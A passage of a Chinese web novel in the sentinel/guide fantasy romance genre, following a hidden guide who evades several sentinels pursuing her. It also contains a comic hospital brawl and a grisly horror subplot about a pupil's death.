岳雪如搞什么兼职不好,非要参与到这种事情里,庄问微当机立断,在队伍转到政府大楼广场前绿地时,装作脚崴落到最后头。
前头身形壮硕的大妈听到“哎哟哎哟”的喊声,也跟着停下来,一起跟着躲在广场凉亭里。
“闺女怎么了这是。”大妈看着庄问微完好无损的脚踝,痛惜的声音真实得不行,“看这脚,都红了一大片!”
女人和大妈双目对视,迅速理解对方意思,趁着前头人不注意,压低身体,顺带把懵逼女孩身上的红马甲也扒了下来。
“来!”大妈迅速打开背包,里面是一应俱全的野餐道具。
“哟!”这一看就是抗议的老牌群演,庄问微立刻铺起野餐垫,把餐盒打开,靠着凉亭的长椅舒服地伸了个懒腰。
“啊?”岳雪如手里的小旗子被抽走,手还停在握东西的样式。
但也来不及给她解释那么多,前方大部队整齐划一的口号骤然被打破,尖叫和低喝响彻整个广场,三人抬头越过凉亭围栏望去。
只见抗议队伍的尾巴刚一过广场的拱门,一队哨兵就从天上掉了下来,如狼入羊群,迅速将整个队伍切割开来。
人们四散奔逃,本能朝大
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门口的方向跑,这时一群防爆警察身着盔甲,手持防爆盾顶了上来,刹不住车的人瞬间被警察反手压在地上。
葫芦型的包围圈由外到内,迅速收紧,抗议队伍的人除了领头一小撮,其他彻底乱了方向,寡不敌众,眼看只剩投降的份儿。
抗议队伍头领举旗高喊,号召其他人聚集起来对抗,却见大家望着他露出害怕的神色,很快身后一片黑云笼罩,他转身,高大的哨兵手指上转着手铐,吊儿郎当龇出雪白的牙齿,“配合一下?”
庄问微遥遥看去,只一眼就认出那个脸上嘻嘻哈哈、手上动作也不见外的家伙是那个哨兵,那个在餐厅盯了她一路的哨兵。
几乎是女人视线投注到身上的同时,施阳泽全身绒毛炸起,那感觉,像挠了心里的痒肉,刺挠得停不下来。
像水里游了三天,湿哒哒上岸照到暖烘烘的太阳,抖落三遍水,慈悲的草地接住他,温柔的抚摸顺着打滚的方向抚过背脊,激起全身一震,尾巴不由自主高高翘起。
施阳泽感受到了高匹配的向导,就在那里,就在看着他!
一转头,来不及躲开的庄问微和他对视。
女人:啧,阴魂不散!
男人:那句诗叫什么来着,百度不到名字,一回头,原来那人站在栏杆上?(苦恼皱眉)这是诗吗?那就直接点,我想和你结合(滚!重新来)你好,尊敬的女士,鄙人施阳泽,男,哨兵,今年22岁。从12岁起参加任务,获得三等功5次,二等功3次,一等功1次,目前军衔为上尉,任虎贲营副营长。底薪1万,每次任务提成1000-20万不等,结合后在哪里工作我都行,想不想生孩子也听你的。不过我不怎么想要孩子,上次我们领导喝醉酒哭诉有了孩子两年没爬上伴侣的床(小声BB),不不不,我当然能忍,只是精神结合一定不能少,嘿嘿嘿。
所有想法就在神经元的一次电信号传递中完成,当岳雪如刚眨一次眼,当庄问微刚压低头,当大妈刚张嘴惊呼,一阵风已至凉亭前,裹挟着男性的气息,女人心跳如擂鼓。
“你好,尊敬的女士......”一只手伸来,施阳泽露出自认为最开朗迷人的笑容,但和庄问微对视的那一刻立即卡壳,“这人....这人叫施阳泽,不对,我叫施阳泽,我是男的——”
“嗯,我们都看得出来你是男的。”大妈脑筋灵活,迅速调笑起来,“我们是女的。”
后面怎么说来着,他终于明白什么叫做“见到命定伴侣的一刻大脑一片空白”,之前嗤之以鼻,现在都报应在自己身上。
雪豹在地上不断翻腾,吃了猫草似的“喵呜喵呜”。
庄问微无视掉眼前的一切,只摆出一副荣幸却神色暗淡的表情,“您好,哨兵先生,幸亏有你们保护,我们普通人都感觉很安全。不过,呜呜呜——”她说着场面感谢话,突然就想起什么似的哽咽了一声。
岳雪如嗑到一半,原本想着不插嘴,却忍不住,“啊?怎么了?”
5. 第 5 章
“我之前男友也是哨兵,后面他说,哨兵和普通人不是一个世界的。”女人转向如遭雷击的哨兵,抱歉地解释,“对不起,是我还没有走出来,所以看到哨兵先生就想起——”
说到最后竟然低头啜泣起来。
施阳泽心里还存有一分幻想,他的身体本能拼命叫他去追逐面前的女人,于是低声“冒犯”,伸手握住对方的手。
这是哨兵和向导疏导的标准方式,哨兵耳聪目明,如同超忆症会不间断收集周围信息,时间一长就陷入混乱,而向导通过肢体接触,精神触丝探入哨兵大脑,为其屏蔽一切无关信息,清楚已有的黑色情绪,铸造保护哨兵大脑的外壳。
此刻两人接触的手掌,没有一点动静,女人低头看去,施阳泽立刻意识到自己冒犯的时间过长,无所适从地抽手退后,像个失落的孩子似的,又退了两步。
——他完全忘记疏导是向导主动,只一个劲儿失落。
“不对啊。”他直愣愣望着庄问微,风餐露宿跑了两天,满心各种期待,怎么会是这样的结果,难道真的是他感觉错了吗?
那么他的行为不就和跟踪狂很像了吗?
“对不起......”作为哨兵,即使现在腿生根发芽长在女人面前,也要遵从年幼时就受到的教训,和普通人保持距离。
施阳泽退后一步,心如遭大撞,再退后一步,手脚都抖动起来,血液里的愤怒几乎将每条血管燃烧。
不行,不能靠近!
该死的规矩!
他看过很多留下阴影的教育片:哨兵任务归来,没能及时得到安抚,窗外只一声鸣笛,哨兵就疯了,一刀捅死心爱的普通人伴侣。
场面血肉横飞,离体的眼球挂在两人紧密相拥的合照上,队伍里的向导及时赶到,七八个人将哨兵从混沌深渊拉回人间,可大家一个错神的功夫,哨兵伸手插入胸膛,拽出了自己的心脏。
*
施阳泽血液沸腾,太阳穴跳得像炸弹倒计时,眼前一阵白光。
*
再恢复清醒时,一个手机正怼着他脸拍摄,再往上是雪白的天花板。
这是哪里?
耳边聒噪的声音很欠很熟悉,“诶哟,施哥清醒了哈~来看看,眼睛睁得溜溜圆~”
转动眼珠,他的意识慢慢复苏,记忆直接从被拒绝现场穿越到现在,中间发生了什么全无印象。
欠揍的直播仍在继续,“妈呀,看这懵逼的模样,快截图快截图,真哨兵哪有不受情伤的,今天也算施哥开/苞日了哈!”
床尾有人小声劝阻,“诶,诶,你赶快关了吧,施哥是傻了又不是瘸了。”
“就是,就是,不就是大庭广众抱着普通人不放吗?”刚进门的寸头瞬间加入话题。
“对”,在哨兵里算小个子的阴险家伙补充,“我3岁侄子养的蚂蚱不小心被踩死,当时都没施哥哭得狠,那大鼻涕,把他从人家女孩身上拽走,硬生生耷拉了一米长。”
直播的人语气抑扬顿挫,念着弹幕:“有人评论‘小施是水做的男人’,哎呀,秦政/委也来了,要不说是政/委呢,说话就是有水平。”
施阳泽安静坐起身,木着脸走到门口。
“怎么了?”
“不神游,改梦游了?”
“不对啊,刚刚还看他睁眼了呢。”
就在众队员活蹦乱跳如虾时,“咔”,施阳泽落上了门锁,哨兵都是何等听力,整室瞬间寂静。
门口人转身的一刻,挨窗的阴险小个子一个反身,直接冲出六楼窗口,剩下三人围攻施阳泽,直播的家伙“唰”地当面一道暗器,寸头抡起沙发打腿,床尾哨兵一脚踹横五十多斤的功能床做掩体。
施阳泽闪电般伸手,动作快如油中取栗,一把抓住暗器,原来正是直播用的手机,反手扔回,“啪”地脆响,手机屏以及直播人的鼻骨同时裂开。
同时看也不看,一脚踢向寸头露出空隙的手臂,“啊!”
寸头胳膊失力,沙发即将坠地,但不及它接触地面,施阳泽已鞭腿出击,将它横空踹飞。
床尾哨兵才刚要根据掩体绕行,沙发就已压到面前,“噔噔噔”,巨大冲击后连退几步,再左右看,沙发腿竟然已“轰”地嵌入墙体,自己的脖子正好被卡在当间,却是一动也不能动。
文字慢,动作快,现实里隔壁病人只同时听到“啪”、“啊”、“轰”汇成一声,直像是管道爆炸,没等眨眼,又接上“哗啦”窗户破碎,空调外机一声被击打的闷响。
“咚、咚、咚、咚”,紧接着,四连声人体砸地闷响,毕后足足一分钟,楼底才陆续传来人群尖叫“有人坠楼了!”
窗户就在手边,根本没有耽搁,但等隔壁病人探头望下去,除了被砸断的树枝,就剩下一群普通人围着地上一点鼻血嗡嗡讨论。
十分钟后,那传闻绘声绘色来到隔壁耳边。
“四个都是哨兵,哎哟我的娘嘞,六楼摔下来,拍拍土就走了。”
“你住隔壁没听到声儿?听说打人的也是个哨兵,咋这么凶狠?”
“妈呀,哨兵都不是人,胳膊断了,嘎嘣一下自己掰正了,还冲着我笑,我的天爷,听得我心脏都吓出来了。”
*
不管这次寻常打斗给普通人带来多少心理阴影,施阳泽留了赔偿,回去的一路都沉默不语。
他不说话,警卫队的大家也不敢说话,寸头断臂的骨茬已经在疯狂生长,痒痒地,都不敢挠。
只等车子即将进入安市高速收费站,施阳泽才回过来劲儿似的,突然一拍座椅,大喊:“不对!”
那个女人一时不察,竟然留了破绽。
吉普一个转弯,拖着刺啦刺耳的轮胎摩擦声,方向盘紧打,直接调转车头,吉普亮着的车灯如同猛兽紧盯猎物的双眸,发动机嗡鸣,这只猛兽咆哮着朝安市方向狂奔。
路边有下车抽烟休息的普通人,闻声望去,只听到一阵胸膛深处发出的笑声从车窗边缘漏出,“太牛了,狡猾!我的向导果然不止这么点本事哈哈哈哈!”
*
远方庄问微背脊一抖,感觉有坏东西贴着脊柱即将爬上来,收拾东西的身形一顿,直起腰来。
“怎么了?”岳雪如坐在床边啃着苹果,声音含糊,“这房子是
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我私房钱买的,放心,我爸都不知道,再牛的哨兵也没法查到毫无关联的事情吧。”
“谢谢。”
这句谢谢发自真心,早上那位哨兵被拒绝后直接陷入神游,类似于普通人失血大休克,对哨兵来说非常危险,一般来说,只有一下遭遇强力物理或精神攻击才会造成。
再加上哨兵失去意识仍死活抱着庄问微不放,那些哨兵差点以‘危害公/务’为借口把女人一块带走,幸好这时岳雪如站了出来。
“我是安市市/长女儿,这是我的好朋友们,我们就在这儿野餐碍着谁了。”
女孩一句话说完,没等对面回复就仿佛邪灵上身,朝着远处的政/府大楼开始唱戏:“老岳你看看啊,他们就欺负我们娘俩,你要是今天再怂,我就在你床头吊/死,让你一睁眼对上我死不瞑目的眼睛,我吓死你!”
周围哨兵齐齐后退一步,感受到了等同A级向导的精神攻击。
最后岳雪如带着她的好朋友轻松离开。
被救的好朋友神色复杂,其实一开始看到这群集结的队伍,她就察觉到不对想转身走,但岳雪如被顶在前头当枪使,她又没法坐视不理,想着怎么都要把新生后第一个好友救出。
却没想到,被救的竟然是自己。
她嗓子干涩,刚想感谢就想起女孩那副上身的模样,噗嗤笑出声,“你那是跟谁学的?是不是你妈妈?”
“诶?很明显吗?”市、长女儿惊奇,“我爸我妈是富家女和穷小子私奔,我爸刚往上走了一点,他那些亲戚就一个个冒出来,又是要钱又是要方便,最后我妈就想了这个主意让他和那些人切割。现在两个人过得很好,我爸很识趣,最后靠我妈娘家势力上台。”
怪不得她在第二天就能从爸爸嘴里听说案件详情,想来也是专门关注那附近的事了。
这姑娘真是个妙人,也不知怎么的,前十几年两个从未交集的女孩去年一见面气场就特别合。
庄问微提了一嘴最近很多哨兵纠缠,包括自己住的小区也有一个中尉。
“呸,都爬到中尉,怎么都是个副连,他们匹配向导都走绿色通道,早就不用负责检测,万分之一出向导的概率,不如回家卖红薯,他就是觊觎你!”
岳雪如怒了,“你也别回去了,我那儿有房子,检测结束再说搬家。”
“可我身份证落家里了.......”
女孩直言不讳,“反正不就一个假证?我叫我爸秘书给你办一个,你要不要当哨兵,给你状态改成哨兵,那些人再纠缠,直接拿出身份证!兄弟,爱我就拼刺刀。”
庄问微有点麻,“......女哨兵不会长那个玩意儿。”
“什么?”女孩从刚刚开始就异常成熟的做派出现裂痕,“真的没有吗?可我青梅就有啊!我亲手扒的她的裤子!”
“你那个青梅,也许会不会只是一个长相清秀的小男孩。”难以想象那个哨兵的心理阴影。
但更重要的是——
庄问微:梦幻,就这么解决了所有问题。
岳雪如:梦幻,不可能不可能,我的青梅怎么会是个男生?
6. 第 6 章
出门就撞哨兵,得教训的庄问微短期内不会想到出去了,她整理出来房间,陪岳雪如玩了一晚上砍丧尸的游戏。
“真是不用我继续陪你吗?”岳雪如扒着门框,“我们之间已经没有感情了吗?”
女人一脸冷漠无情,“在你偷捡我物资的时候就不存在了!”
“那只是一个平底锅!”
“对,那是在丧尸游戏里无敌的平底锅!”关门前,庄问微友情提醒,“还有,好好练练你那枪法,一回合打我血条相当于23条命,要不是开了修改器统计,我都不知道你的怪物种类击杀榜首是我!”
“嘿嘿,那不说明我枪法准么。”
早上岳雪如激增的靠谱数值,在一个下午加晚上的游戏时间里降至负数,庄问微无情把她赶回家,自己躺下,终于松了一口气。
餐厅哨兵(施阳泽)估计要在医院躺十天半月,而且那个受打击的模样,是相信她的说辞了,危机解除。
金发男(丹尼斯)有检测任务在身,只能守在小区附近,即使发现自己不见,最多也就查信息打电话,那时候岳雪如早帮她办好假/证,他也没啥好说的,危机解除。
楼下房东孙子(尹浩)被带走,那种弱鸡体质真的能在新兵训练里活下来吗,不说他危险性了,先给他点个蜡烛吧。
到此,她从所有遇到的哨兵面前大摇大摆逃脱,而且不留怀疑痕迹——开了个好头,她真的说不定可以就此逍遥自在,走出自己的路。
*
逃离追捕的第38天:
哨兵真是可怕的生物,唰地一下就贴到面前,我讨厌他们寻常的炫技,弟弟觉醒后就爱这么吓我。
传说光明向导一个人能控制几千几万这样的怪物,堪称怪物中的怪物。
不管怎么说,今天都很愉快,我甩掉了所有麻烦!今天也成功逃脱追捕了!
*
庄问微带着这种愉快开始迷迷糊糊,但半梦半醒间总感觉哪里不对,睡不踏实。
回想一遍,“当时给那个哨兵下达了暗示,应该没事吧......”
餐厅哨兵抱她抱得贼紧,为了快速逃脱,她不得不通过两人接触的部分,隐秘伸出精神触丝探入哨兵大脑,命令哨兵“松手!”
可能还顺带帮忙梳理了一下,毕竟如果真的出人命,所有细节都要被反复询问,露馅可能性太大。
按照常理来说,哨兵不会保留神游时的记忆,庄问微反复琢磨,都觉得不会有问题。
那这份不安是什么?
庄问微望向窗台方向,对了,是迎春花,以往每天晚上都有花作伴入睡,乍然缺了还真有点不习惯。
找到了异常点,女人放松心情,很快沉入梦中。
*
就在她睡着之后,没了管束的精神触丝自动跑出,习惯性探向窗台方向,结果摸了个空,“??”
在陌生的室内逛了一圈都没找到目标,只好无奈地缩回身体内。
与此同时,庄问微皱起眉头,梦到自己在食堂暴打掌勺大叔,质问他们到点了为啥不开饭。
质问完,只好自己做饭,结果在后厨找了一圈,这个破厨房看着大,但炒锅是漏的、肉是仿真画的、蔬菜是塑料的,她气急败坏,最后厨师拿油过来,打开一闻是机油。
一晚上梦里没得消停。
*
十几公里外,老城区某小区一晚上也没得消停。
夜深,一道黑色剪影站在墙边,晚上来人不注意只可能以为是树影,可不多时,那剪影上方悬下一只巨大蝙蝠。
几乎比挂着的那棵树还要高大,仗着普通人看不到扭来扭去,激动得直“呼哧”,不断用蝠翼指着小区一栋老楼的最上层。
任务结束后,他照例去接受组织向导的梳理,以他病入膏肓的程度,这点安抚顶多算医院里的临终陪护,可向导惊疑不定。
“你接受其他向导的梳理了吗?你可能没感觉,不过我这边看确实干干净净。”
那么问题就来了,执行任务的当天,这只蝙蝠确实愉快得反常,还数次想和他建立连接。
*
黑色哨兵面色不动,“你说的向导,五楼?六楼?”
听到五楼,蝙蝠保持不动,听到六楼,蝙蝠拼命点头。
还要迫不及待拽着主人飞起,带他去和向导幽会,但好心被当驴肝肺,哨兵无动于衷、转身就走,“报给组织。”
“叽——”蝙蝠双目赤红,瞬间百米内所有灯光全部熄灭,黑云浮动,月光也被遮挡,形成一片包围哨兵的绝对黑暗。
哨兵脚步停住,转身淡漠地询问:“你要和我打吗?”
量子兽双翼张开,几乎遮天蔽日,只一对亮晶的红瞳刺目不已,獠牙张开,对着主人无声威胁。
脚下尘土扬起,树梢炸成碎末,一道风从街头吹到巷尾,战斗悄然而起,默然结束。
“真是蠢透了。”哨兵对着自己说。
特种人的量子兽即为另一个维度的自己化身,普通人无法看到,正常的哨兵可以和量子兽实时连接感官和信息,并通过量子兽的动物行为比如打滚等缓解情绪。
同样的,量子兽被击溃到无法凝聚的状态时,哨兵精神也会受到同等伤害,所以自己和自己的量子兽打架,真是蠢透了。
“呜呜呜呜”,蝙蝠身型缩小,坠在哨兵袖子内部的纺锤口袋里。
“你觉得她能帮我们吗?”哨兵习惯性低语,而后摇摇头,几乎眨眼功夫就消失不见。
*
闻声赶来的中尉丹尼斯什么都没看到,他就近借住在社区中心的空屋内,前几天的哨兵被杀案已有结论,说是普通的因抢夺向导而生的雇凶杀人。
但那种狠厉的手段,直接搅烂B级哨兵的大脑,不留痕迹,行凶者至少是个A等级,考虑到死者连一米都没跑出,说明哨兵体感范围内没有出现另一个哨兵,行凶者一定隔了很远的距离发动攻击。
熟读军队各种档案的丹尼斯皱起眉,注意到地上有一只掉落的枝杈,但他轻轻往前走了一步,激起的风就将枝杈吹成粉末。
“会是那个人吗?”
可那个哨兵在离开军营之前就已经得了‘哨兵漫游症’,这种堪称绝症的疾病到后期时,哨兵会逐渐感受不到自己的情绪,和量子兽断开联系,最后慢慢意识不到世界存在,精神被困死在大脑里,无法指挥身体寻找食物和水,并死于极度饥饿。
丹尼斯在心里否定了这点,每次发生类似‘疯哨兵’杀人的
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事件,都会激起一阵对那个人的讨论,可大家都得出了结论,如果他治好了,那蒋中将就不会活着。
当年蒋中将看那个人得了病,差点趁机把他脑子挖出来研究,这种仇怎么能不报。
金发哨兵站在树杈的粉末上,月亮正好从乌云中探出头来,他抬眼望向小区,从自己这个位置,正好能看到那个女人的窗户。
“她去哪里了呢?”
今天早上那个女人匆匆离开,丹尼斯早在她出单元门时就注意到动静,可直到她走到大门口,也没想好要不要搭话。
所以,没敢说一句话,目光迎接她过来,又用目光送她在街角拐走,恨不得光能折线传输,这样他就能身体站在小区大门口,目光跟着离开。
哨兵的决斗往往毫秒间得出胜负,哨兵的生命通常掌控在一个呼吸之间,丹尼斯从来相信自己的直觉,可这种决断在追寻向导时根本不奏效。
他变得优柔寡断,变得瞻前顾后,如果和向导的拉扯是一场战斗,他这样的表现已经死了大概一千来回吧。
“下次......”
金毛犬甩着尾巴从空气中现身,“她是很厉害,但总归是个年轻女人,应该会喜欢狗狗的吧......”
不像其他哨兵凶狠的量子兽,丹尼斯能升上中尉,凭借的是出色的管理能力和冷静的判断,所以在五楼偷听时,他冷静地分析了一番,选择收起自己每天笑嘻嘻的量子兽。
——遇到喜欢的向导,原来真的会感到自卑。
*
与此同时,市中心方向。
“自卑?是她说的?”
酒店里,施阳泽正带领警卫队四个哨兵复盘,他不理其他人的大惊小怪,指出最违和的点:“明明在说感激的话,却突然掉下眼泪来,而且我伸手握她,她提前心里做准备了似的,根本不是我去抓,是她递过来自己的手。”
“是有点违和,不过电视剧里不都演了哨兵向导疏导的方式了吗,那些女生都知道吧,伸手过来怎么了?”寸头反驳。
阴险小个子出声:“你搞错重点了大老粗,你反过来分析,她是抱有什么想法才会去预备施副营的检查?除非她知道,施副营怀疑她是向导,会走这么一招检查。”
“那么为了让施哥打消这种猜测——”
鼻梁断掉的哨兵立刻跳起,“那还等什么?那她就是施哥的高匹配向导!说不定是百分百匹配!”
中心的施阳泽反而吐出一口气,躺倒在床,“散了散了,明天再说。”
五个哨兵,领头的施阳泽睡总统套房的主卧,警卫队四人,一个把大门挡住,睡侧边能看到门口的沙发,一个在窗户边铺了被子,睡在窗帘后头,另两个打开次卧的门,躺衣柜上头。
哨兵出外任务都是幕天席地,睡得太好反而失眠,主卧的男人翻来覆去,难受、心酸都涌上心头,旺盛的征服欲和占有欲海浪一般涌现。
但很快,他心里一个庄问微的缩版小人跳出来,甩着鞭子质问,“结合前就敢不听老婆话,结合后还了得,不管你了!”
施阳泽自己形象的小人也跳出来,“为什么为什么,为什么为什么,拉磨的驴前头都挂着胡萝卜,你总得让我知道知道理由,知道知道待机时间吧!”
7. 第 7 章
哨兵睡前的脑内小剧场并没有传递给庄问微,倒是岳雪如那死丫头一大早扰人清梦。
“不好了!”她一边嚼着薯片一边焦急地喊,庄问微耳朵里听满了薯片咔滋咔滋酥脆的响声。
这么悠闲,看起来并不像什么大事。
果然。
“我问我青梅了,她说女哨兵确实长那个玩意儿!我现在已经混乱了!她是不是性别认知错乱啊!”
“......你能如实描述下当时对话的场面吗?”
“好!”岳雪如吃完干巴的,开始吸溜吸溜吃果冻,隔着手机能幻视她吸果冻时两颊凹陷下去的努力样子。
“我就打电话问她,我朋友说女哨兵不长那个东西,你裤子里那个是什么?引导她认识到问题,然后承认自己其实是男哨兵。结果她沉默了好一阵儿,特别柔和地回我,你那个朋友是骗你的,她确实是女哨兵,她也长那个东西!我就无语了,不敢告诉她这是认知障碍,关键我特别害怕是我自己导致的,捅破了真相,万一她是真的接受不了,到时候我还需要担责怎么办!最后也不敢修正她,只能嗯嗯啊啊挂了电话。”
“嗯.....嗯.......啊?啊——”庄问微一边刷牙一边做贴心姐姐,“他逗你呢,准确来说,他算是你竹马。”
“那就行,反正是男是女不妨碍我们做朋友。”岳雪如还是一贯的大神经。
挂电话前,她突然想起什么,“啊,对了,八卦论坛消息,纠缠你的那个哨兵昨天下午在医院醒过来,和自己人打了一架走了,结果到高速路口喊着什么‘我的向导最棒’的话掉头又回来了。”
“噗——”庄问微一口水喷在镜子上,这是可以用‘下班顺带捎个煎饼果子’态度说的事情吗?
完了,她不会真的哪里搞错了吧?
“哎呀,别紧张,别紧张,takeiteasy!”岳雪如安慰,“拒绝第二次还不行就通知哨兵总部领人,不过我倒是觉得,真不行你就sleep了他!哨兵都天赋异禀哟,我亲眼见过不骗人,好多人想睡睡不着呢。”
庄问微现在想锤这个不靠谱的家伙锤不着,如果她要真是普通人倒是好,关键她是向导,和高匹配度的哨兵长时间接触,很可能引发结合热,然后,“咔”,从此人生绑定。
她想小院花园闲适生活,然而,绑定后基于保护原则必须统一搬到哨向特区,她想过自己的生活,然而,绑定后一切动向听从安排,哨兵去哪个地方任务,向导选择跟随,真不想满世界跑也行,哨兵申请驻地,或者向导申请留守白塔,那么她很可能会碰见同个圈子的父母。
*
逃离追捕的第39天:
距离我未知距离的地方,有个追了我八千米的哨兵,不知道是不是高匹配哨兵向导的天然吸引力,两次都是无意识间碰到一起。
当年匹配部分内容我该重点学的,高匹配上面好像还有个百分百匹配,完蛋完全没印象,因为是特殊情况一般不考,我就记得折飞机用了三页书。
无论如何,得避开这个风头,当个缩头乌龟躲在这里,我不信他还能一直不出任务。
不过更重要的是,如果哪里都是哨兵,难道我就这辈子活在洞里不出去了吗,总有独自生活在体系外的向导,我得成为他们。
*
这天从一大早上开始就各种坏消息,除了哨兵,三个代写的单子同时要求修改,庄问微没带工作电脑,就这么盯着手机,甲方意见和成稿来回切换,把前面的稿子改得面目全非。
刚交了二稿,对方突发恶疾开始做白日梦:“这个稿子能保证获奖吧?”
庄问微一边温和回答“不确定呢”,一边心里蛐蛐“几十块钱,就想中3万的奖?这种好事我怎么不自己留着。”
“那不行”,甲方以为自己很幽默,“要不你算技术入股,如果获奖了给你分?”
女人微笑碎裂,手指翻飞打字。
——“你当我是菩萨,许愿成功事后还愿?那你许愿的话,不该是我什么都不用干,你给我磕两个响头,叫三声姑奶奶,再掏香火钱吗?”
——“我看你是小儿麻痹症成精,话说不清,眼也拐弯,手脚不利索的同时想象力还挺丰富。我就一个接委托的打工人,用专业赚应得的血汗钱,还得给你做心理辅导?回家找妈妈去吧!”
——随后甲方一秒破防,双方开启骂战,很快他就发现庄问微这个女人不仅手速飞快,骂人的库存也如山如海,犹如和高手过招,他刚抬手,女人起手式就已经扇了他十八个巴掌。
——于是后续拉黑,又在兼职网站上疯狂举报。
以上,都是幻想。
不过,曾经都发生过。
现在,庄问微已经是个合格的社畜,坎坷吹散了逃离原生家庭的意气风发,社会打磨了她。
在手指即将触及发送键时,她换银行APP看了眼自己的存款。
有零有整,10万又7千2百二十一,一半是窝囊费,距离梦想的带花园顶楼还差77万。
于是,转到聊天界面,删除了骂人的话,改成了“哈哈哈,您真幽默呢~”
*
但这世界就像邻居家里看热闹还嫌不够、总在背后说嘴的偷窥癖。
忙着应付三个甲方的同时,家教带的一个小孩子把自己拉的大便拍过来,“姐姐你看,怎么是带血的!”
庄问微被那张突然弹出的照片攻击到破防,一下摔在椅背上,望了好久的天花板。
“......要不然还是嫁人吧......”她被自己幽默的想法逗笑,手抚空无一物的脖颈,想象不出这里戴上隐形的项圈是什么样子。
如果是那个餐厅见过的哨兵,大概会狠狠吮吸、啃咬,种一季接一季不停歇的‘草莓’——她感受过他拥抱的力道,后背一道紧箍,逼着她贴近胸口,结实又软弹的肌肉随着粗//重的呼吸不断起/伏,身上传来干净的男人气息和哨兵的味道。
“都怪岳雪如那个死丫头......”她无奈笑着,挥开那些想象,回到和小孩的对话框。
在照片上面,就是她昨晚请假的信息。
对面小女孩15岁,比她整整小9岁,成年人不能在小孩面前崩溃。
深吸一口气,思忖片刻,她斟酌词句回复:“有没有吃火龙果?刘妈在吗?”
“她离职了,家里只剩我一个。”
作为一个社会人,很多时候不能好奇或者碍于礼貌多问哪怕一句,经事多了就明白,后面话赶话,会把自己架在火上烤。
但庄问微还是问了,“联系你舅舅了没有?”
“嗯,他没接”,接着就是一张恐怖的照片,女孩的手被划了很长的口子,“昨天划伤的,已经不流血了。”
庄问微放下手机,心里发麻,她手上负责的不止这么一个孩子,一般麻烦的单子才会推给她。
自身难保的情况下,她无法做出更多承诺,孩子舅舅都不上心,她一个外人......
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“我这就联系你舅舅。”只字不提同城过去只需20分钟,再不行就报警吧。
*
同城某偏远别墅,女孩放下手机,落寞地打开冰箱,里面的蔬菜水果毫无章法丢在地上,这么两天已有腐臭气。
腾出空荡荡的冰箱,并排放着一男一女两颗头,男的大概30岁,女的已有60,脸上鲜血已被清理干净,只残留动物深深的抓痕。
“怎么办呢?她不来。”女孩苦恼,安静的室内只剩冷冻室运转的嗡嗡声。
旁边厨房操作台上,一层泛着黑油的沥青爬下来,里面躺着一堆骨头,有男人的、有女人的、更多是小孩的,落地后噼里啪啦,骨头慢慢搭建出形状。
刚开始搭得不平稳,左脚用了小孩的骨头,右脚用了成年男人的,它走一步就倒下,停顿两下,它又用大人的半截身体加上小孩的两条腿骨。
“啪嗒啪嗒”,走起来很舒服,沥青裹上那些骨头,勉强成个人形,但正常人看出都非常怪异,上下半/身完全不匹配。
随后它吐出多余骨头,分裂出一团巴掌大小的沥青团,新生沥青柔弱无骨,正是需要吃东西的时候,它们同时走向冰箱前的女孩。
“一会儿吃完我,可以把我的头也放进冰箱里吗?”冰箱四四方方,听说棺材也是这样。
*
最后庄问微还是报警了,放下电话后她有点烦恼,这一上午的麻烦,怎么还不过去。
“砰”,狐狸突然自行出现,趴在女人身上转圈。
这家伙怎么自己出来了?
刚冒出疑问,狐狸大尾巴糊了一脸,嘴巴里都粘了毛,但一股清气涌入脑海,她混乱的情绪和思路瞬间规整通畅。
“你这家伙,自由度怎么这么高?”庄问微不知道这算好还是算坏,一般来说量子兽和主人心意相随,只有主人叫才会出来,而且一般向导也不能给自己梳理,需要由高一级的向导操作。
她想着自己的量子兽特性,“隐形,加上自由度高?”
狐狸将自己的喜悦传过来,庄问微才揪着它的尾巴发现,根部多了一个小尾巴尖。
“行啊你,长第二条尾巴了!”要等长成才能确定多了什么特性。
向导的能力8成看天赋,即使后天修炼也只能在本等级上下浮动,比如B-变成B+之类,她这些天好像也没做什么吧,怎么突然就长了?
她挠挠头,左右心情已经好转,就继续修改稿子去。
*
遥远国境线的另一边,宁静如同往日的疗养院里,床上男人猛然睁开双眼,这次不同寻常,他因失去意识而显得松懈的表情在恢复的一瞬间邪气起来。
那个女人没有回家。
他的意识飘了几千公里,断断续续只能看到一些片段,在她消失之前,还有收拾行李的画面,所以是离开了吗?
活动手脚,失去肌肉的身体虚弱异常,还不行,内视残缺不堪的精神图景,其中破碎的部分经历一年多的吸收已经被那女人修复好,但想重回巅峰,必须要完全修复。
将已经类似脑死亡的哨兵从植物人状态修好,能做到这种程度的向导遍观全球,也能说是数一数二。
中午时分,医生照例在警卫交接中间进入病房。
外面人只听到一声断在中间的惊呼,就被医生自己解释糊弄过去,没过多久,医生满脸苍白、双腿战战出来,警卫借着开关门回望病床,对上无声无息的帘子,耸耸肩膀不以为然。
8. 第 8 章
世界纷纷扰扰,又都与我何干。
自住进这个高档小区已有三天,白天撞钟干活,晚上练习使用精神触丝,也不忘例行100个俯卧撑、一整套拳法,庄问微找到了新的生活节奏。
唯一不习惯的就是岳雪如那丫头,刚开始还每天都来,她21岁,距离大学毕业还有一年选择gap一年探索世界,结果昨天突然转性,聊天软件一句话没说。
问就是——
“小庄姐,我正在做一件关乎我家庭幸福的大事,现在要做准备,回头再聊!”
关乎市长家庭幸福的事儿......不会是抓小/三吧,穷小子一朝翻身,抛弃原配转投小/三怀抱,既占了富家女的资源便宜,又能在功成名就时接受其他女人敬佩,从小/三身上获得从没有过的男性雄风。
那......这确实不好和外人说,庄问微选择闭嘴,□□的事即使不行,她也可以自己搞定。
所以,这几天除了做自己的事儿,还真过得很安静,随着春季大排查的时间越来越靠近,庄问微的心慢慢安定下来。
直到警局的回执电话打破了一切平静。
小女孩死了,当天最后一个联络的人是庄问微,同时她也是报警人,根据电话里的说辞,Jc会在下午来小区调取监控,证明她在案发时间段内一直待在屋子里。
“......好的,我配合一切调查。”
挂断电话,狐狸再度自发出现,毛茸茸的大尾巴轻轻一扫,庄问微肩头一松,才发觉刚刚情绪不对,“谢谢。”
太阳走过天空正中,慢慢向另一侧滑落,光照到人皮肤上,玻璃一般没有温度。
庄问微自然知道社会不安全,死亡教育一向是哨向培训的第一课,她对此平静,但如果死亡间接由她造成,就是另一回事。
“狐狸,我现在仍然觉得自己没错,还有救吗?”普通人面对这种情况,最多也就做到这种程度了,当英雄是进入体系的哨兵向导的事儿。
但总感觉很奇怪,电话里jc对案情一句不提,她无法获知小女孩生命的最后发生了什么,怎么死的?就在和她沟通过后发生的吗?
最后,死前......痛吗?
这种疑惑持续不断地梗在喉咙,直到下午看到来人,终于是落到肚子里。
*
